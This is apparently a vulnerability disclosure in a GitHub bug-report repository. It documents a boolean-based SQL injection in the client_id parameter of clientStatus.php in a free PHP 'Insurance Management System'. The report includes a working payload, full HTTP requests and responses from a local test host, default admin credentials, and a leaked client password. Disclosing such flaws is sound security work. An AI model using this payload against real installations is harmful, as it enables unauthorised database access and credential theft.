

main

...

bug_report / vendors / itsourcecode.com / insurance-management-system / SQLi-1.md



debug601 Update SQLi-1.md

History

1 contributor

41 lines (25 sloc) | 1.52 KB

...

Insurance Management System v1.0 by oretnom23 has SQL injection

Author: k0xx

Login account: ahmed/12345 (Super Admin account)

vendors: <https://itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/>

Vulnerability File: /insurance/clientStatus.php?client_id=

Vulnerability location: /insurance/clientStatus.php?client_id=,client_id

[+] Payload: /insurance/clientStatus.php?

client_id=1511986256%27%20and%20length(database())%20=4--+ // Leak place ---> client_id

Current database name: lims,length is 4

```
GET /insurance/clientStatus.php?client_id=1511986256%27%20and%20length(database())%20=4--+&Host: 192.168.1.19User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```


Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=tmbv0mt5ff9hphhe0mtv4sghfq
Connection: close

When length (database ()) = 3, Content-Length: 5429

Load URL
Split URL
Execute

☐ Post data ☐ Referrer ☐ 0xHEX ☐ %URL ☐ BASE64 ☒ Replace All

LIFE INSURANCE

 welcome, ahmed

CLIENTS
AGENTS
POLICY

CLIENT'S STATUS

Policy Information
Warning: Undefined variable \$a_id in C:\xampp\htdocs\insurance\clientStatus.php on line 160

POLICY ID	TERM	TOTAL AMOUNT	PER MONTH	PAYMENT METHOD	COVERAGE	AGE LIMIT
-----------	------	--------------	-----------	----------------	----------	-----------

```
GET /insurance/clientStatus.php?client_id=1511986256%27%20and%20length(database())%20=3--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=tmbv0mt5ff9hphhe0mtv4sghfq
Connection: close

HTTP/1.1 200 OK
Date: Sun, 01 May 2022 12:04:14 GMT
Server: Apache/2.4.48 (win64)
OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 5429
Connection: close
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html>
<head>
<style>
```

When length (database ()) = 4, Content-Length: 7588

```
GET
/insurance/clientStatus.php?client_id
=1511986256%27%20and%20length(database
e())%20=4--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT
10.0; WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
PHPSESSID=tmbv0mt5ff9hphhe0mtv4sghfq
Connection: close
```

```
HTTP/1.1 200 OK
Date: Sun, 01 May 2022 11:51:11 GMT
Server: Apache/2.4.48 (win64)
OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00
GMT
Cache-Control: no-store, no-cache,
must-revalidate
Pragma: no-cache
Content-Length: 7588
Connection: close
Content-Type: text/html;
charset=UTF-8
```

```
<!DOCTYPE html>
<html>
<head>
<style>
```

Load URL http://192.168.1.19/insurance/clientStatus.php?client_id=1511986256' and length(database()) =4--+

Split URL
Execute

☐ Post data ☐ Referrer

☐ 0xHEX

☐ %URL

☐ BASE64

☒ Replace

LIFE INSURANCE



welcome, ahmed

CLIENTS

AGENTS

CLIENT'S STATUS

Client has no profile picture

CLIENT ID

1511986256

CLIENT PASSWORD

123